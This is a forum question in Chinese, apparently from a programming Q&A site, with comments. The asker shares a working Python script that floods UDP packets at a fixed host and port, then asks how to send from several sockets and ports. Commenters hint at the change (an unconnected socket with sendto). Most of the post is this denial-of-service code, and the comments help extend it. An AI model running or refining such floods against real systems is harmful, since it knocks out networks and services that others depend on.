【发布时间】:2021-12-28 06:26:17
【问题描述】:
import socket
import time
ADDRESS = ("192.168.0.100",4119)
DATA = bytes.fromhex("AA AA AA AA")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
s.connect(ADDRESS)
for i in range(0,99999999):
s.send(DATA)
s.close()
上面的代码是一个简单的 UDP Flooding Python 代码。攻击开始时只创建一个套接字,因此只创建一个端口。我想修改我的代码以创建多个套接字并通过各种端口发送数据包。我需要在哪里修复它?
(请勿将此代码用于不良目的。)
【问题讨论】:
-
你了解 Python 编程语言吗?我问是因为这个问题的答案似乎相当明显
-
除了为每次发送创建一个新的套接字外,对于 Python 的基本知识是显而易见的(只需将其放在循环中),一切都可以用一个套接字完成:只是不要连接套接字并使用sendto 而不是
send。 -
这是我的错。请从答案中排除将其放入 for 语句的方法。很抱歉没有提前告诉你。不能用双 for 语句来做吗?
-
如果 putting 某些 in the for 语句 被排除,它确实不能使用双 for 语句,因为这是一个 for 语句 在 for 语句中。